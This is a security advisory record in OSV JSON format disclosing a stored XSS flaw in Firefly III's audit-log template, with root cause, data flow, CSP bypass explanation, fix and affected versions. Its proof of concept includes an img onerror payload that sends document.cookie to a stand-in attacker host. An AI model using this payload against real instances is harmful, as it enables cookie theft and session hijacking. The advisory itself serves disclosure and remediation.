{"id":"GHSA-6jq6-x4cx-qvcm","summary":"Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)","details":"## Summary\n\nThe Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.\n\n## Root Cause\n\nThe `|raw` filter is required on the outer `trans()` call to preserve `\u003cspan\u003e` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter.\n\n**Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):**\n```twig\n{{ trans('firefly.ale_action_log_add', {\n    amount: formatAmountBySymbol(...),\n    name: logEntry.after.piggy\n})|raw }}\n```\n\nNo HTML sanitization at storage time — `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`.\n\n## Data Flow\n\n```\nPOST /api/v1/piggy-banks {\"name\": \"\u003cimg src=x onerror=...\u003e\"}\n  → Stored verbatim in piggy_banks.name\n  → Transaction rule fires add_to_piggy / remove_from_piggy\n  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name\n  → Any user views /transactions/show/{id}\n  → ale.twig outputs unescaped payload → XSS fires\n```\n\n## CSP Note\n\nThe nonce-based CSP (`script-src 'nonce-...' 'strict-dynamic'`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `\u003cimg onerror=...\u003e` payload bypasses the nonce requirement entirely.\n\n## PoC\n\n1. Authenticate as any user\n2. `POST /api/v1/piggy-banks` with `\"name\": \"\u003cimg src=x onerror=fetch('https://attacker.com?c='+document.cookie)\u003e\"`\n3. Create a rule: action = \"Add money to piggy bank [attacker's piggy bank]\"\n4. Trigger the rule on any transaction\n5. Visit `/transactions/show/{id}` → payload fires\n\n**Confirmed server response (v6.6.2):**\n```html\nAdded \u003cspan class=\"text-success money-positive\"\u003eEUR 50.00\u003c/span\u003e to piggy bank\n\"\u003cimg src=x onerror=alert(document.cookie)\u003e\"\n```\n\n## Impact\n\n- Stored XSS persists in DB — fires for every user who views the transaction\n- Cookie theft → session hijacking\n- In multi-user setups: one user attacks another user or admin\n- Chainable with CSRF-like operations\n\n## Fix\n\nPR #12271 (merged into `develop`): add `|e` to escape only the user-controlled `name` parameter.\n\n```twig\n{{ trans('firefly.ale_action_log_add', {\n    amount: formatAmountBySymbol(...),\n    name: logEntry.after.piggy|e\n})|raw }}\n```","modified":"2026-09-10T03:51:08.026301488Z","published":"2026-06-12T15:04:50Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-06-12T15:04:50Z","nvd_published_at":null,"cwe_ids":["CWE-116","CWE-79"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/firefly-iii/firefly-iii/security/advisories/GHSA-6jq6-x4cx-qvcm"},{"type":"WEB","url":"https://github.com/firefly-iii/firefly-iii/pull/12271"},{"type":"PACKAGE","url":"https://github.com/firefly-iii/firefly-iii"}],"affected":[{"package":{"name":"grumpydictator/firefly-iii","ecosystem":"Packagist","purl":"pkg:composer/grumpydictator/firefly-iii"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.6.3"}]}],"versions":["3.0.0","3.0.1","3.0.2","3.0.3","3.1","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.10","3.10.1","3.10.2","3.10.3","3.10.4","3.2.0","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.3.1","3.3.2","3.3.3","3.3.4","3.3.5","3.3.6","3.3.7","3.3.8","3.3.9","3.4","3.4.0.1","3.4.0.10","3.4.0.2","3.4.0.3","3.4.0.4","3.4.0.5","3.4.0.6","3.4.0.7","3.4.0.8","3.4.0.9","3.4.1","3.4.10","3.4.11","3.4.2","3.4.3","3.4.4","3.4.4.1","3.4.4.2","3.4.5","3.4.6","3.4.6.1","3.4.7","3.4.8","3.4.9","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.6.1","3.6.0","3.6.1","3.7.0","3.7.1","3.7.2","3.7.2.1","3.7.2.2","3.7.2.3","3.8.0","3.8.1","3.8.2","3.8.3","3.8.4","3.9.0","3.9.1","4.0.0","4.0.1","4.0.2","4.1.0","4.1.1","4.1.2","4.1.3","4.1.4","4.1.5","4.1.6","4.1.7","4.2.0","4.2.1","4.2.2","4.3.0","4.3.1","4.3.2","4.3.3","4.3.4","4.3.5","4.3.6","4.3.7","4.3.8","4.4.0","4.4.1","4.4.2","4.4.3","4.5.0","4.6.0","4.6.1","4.6.10","4.6.11","4.6.11.1","4.6.12","4.6.13","4.6.2","4.6.3","4.6.3.1","4.6.4","4.6.5","4.6.6","4.6.7","4.6.8","4.6.9","4.7.0","4.7.1","4.7.1.1","4.7.1.2","4.7.1.3","4.7.1.4","4.7.10","4.7.11","4.7.12","4.7.12.1","4.7.13","4.7.14","4.7.15","4.7.16","4.7.17","4.7.17.1","4.7.17.2","4.7.17.3","4.7.17.4","4.7.17.5","4.7.17.6","4.7.2","4.7.2.1","4.7.2.2","4.7.3","4.7.3.1","4.7.3.2","4.7.4","4.7.5","4.7.5.1","4.7.5.2","4.7.5.3","4.7.6","4.7.6.1","4.7.6.2","4.7.7","4.7.8","4.7.9","4.8.0","4.8.0.1","4.8.0.2","4.8.0.3","4.8.1","4.8.1.1","4.8.1.2","4.8.1.3","4.8.1.4","4.8.1.5","4.8.1.6","4.8.1.7","4.8.1.8","4.8.2","4.8.2-alpha.1","4.8.2-alpha.2","4.8.2-alpha.3","4.8.2-alpha.4","4.8.2-alpha.5","4.8.2-alpha.6","4.8.2-beta.1","4.8.2-beta.2","4.8.3-alpha.1","5.0.0","5.0.0-alpha.1","5.0.0-alpha.2","5.0.0-beta.1","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.1.0","5.1.0-alpha.1","5.1.0-beta.1","5.1.1","5.2.0","5.2.0-alpha.1","5.2.0-beta.1","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","5.2.6","5.2.7","5.2.8","5.3.0","5.3.0-alpha.1","5.3.0-beta.1","5.3.0-beta.2","5.3.1","5.3.2","5.3.3","5.4.0","5.4.0-alpha.1","5.4.0-alpha.2","5.4.0-alpha.3","5.4.0-beta.1","5.4.1","5.4.2","5.4.3","5.4.4","5.4.5","5.4.6","5.5.0","5.5.0-beta.1","5.5.0-beta.2","5.5.0-beta.3","5.5.1","5.5.10","5.5.11","5.5.12","5.5.13","5.5.2","5.5.3","5.5.4","5.5.5","5.5.6","5.5.7","5.5.8","5.5.9","5.6.0","5.6.0-alpha.1","5.6.0-alpha.2","5.6.1","5.6.10","5.6.11","5.6.12","5.6.13","5.6.14","5.6.15","5.6.16","5.6.2","5.6.3","5.6.4","5.6.5","5.6.6","5.6.7","5.6.8","5.6.9","5.7.0","5.7.1","5.7.10","5.7.11","5.7.12","5.7.13","5.7.14","5.7.15","5.7.16","5.7.17","5.7.18","5.7.2","5.7.3","5.7.4","5.7.5","5.7.6","5.7.7","5.7.8","5.7.9","5.8.0-alpha.1","6.0.0-alpha.1","6.0.0-alpha.2","6.0.0-beta.1","6.0.9","v6.0.0","v6.0.0-beta.2","v6.0.1","v6.0.10","v6.0.11","v6.0.12","v6.0.13","v6.0.14","v6.0.15","v6.0.16","v6.0.17","v6.0.18","v6.0.19","v6.0.2","v6.0.20","v6.0.21","v6.0.22","v6.0.23","v6.0.24","v6.0.25","v6.0.26","v6.0.27","v6.0.28","v6.0.29","v6.0.3","v6.0.30","v6.0.4","v6.0.5","v6.0.6","v6.0.7","v6.0.8","v6.1.0","v6.1.0-alpha.1","v6.1.1","v6.1.10","v6.1.11","v6.1.12","v6.1.13","v6.1.14","v6.1.15","v6.1.16","v6.1.17","v6.1.18","v6.1.19","v6.1.2","v6.1.20","v6.1.21","v6.1.22","v6.1.23","v6.1.24","v6.1.25","v6.1.3","v6.1.4","v6.1.5","v6.1.6","v6.1.7","v6.1.8","v6.1.9","v6.2.0","v6.2.0-alpha.1","v6.2.0-alpha.2","v6.2.0-beta.1","v6.2.1","v6.2.10","v6.2.11","v6.2.12","v6.2.13","v6.2.14","v6.2.15","v6.2.16","v6.2.17","v6.2.18","v6.2.19","v6.2.2","v6.2.20","v6.2.21","v6.2.3","v6.2.4","v6.2.5","v6.2.6","v6.2.7","v6.2.8","v6.2.9","v6.3.0","v6.3.0-beta.1","v6.3.0-beta.2","v6.3.1","v6.3.2","v6.4.0","v6.4.1","v6.4.10","v6.4.11","v6.4.12","v6.4.13","v6.4.14","v6.4.15","v6.4.16","v6.4.17","v6.4.18","v6.4.19","v6.4.2","v6.4.20","v6.4.21","v6.4.22","v6.4.23","v6.4.3","v6.4.4","v6.4.5","v6.4.6","v6.4.7","v6.4.8","v6.4.9","v6.5.0","v6.5.1","v6.5.2","v6.5.3","v6.5.4","v6.5.5","v6.5.6","v6.5.7","v6.5.8","v6.5.9","v6.6.0","v6.6.1","v6.6.2"],"database_specific":{"last_known_affected_version_range":"\u003c= 6.6.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-6jq6-x4cx-qvcm/GHSA-6jq6-x4cx-qvcm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"}]}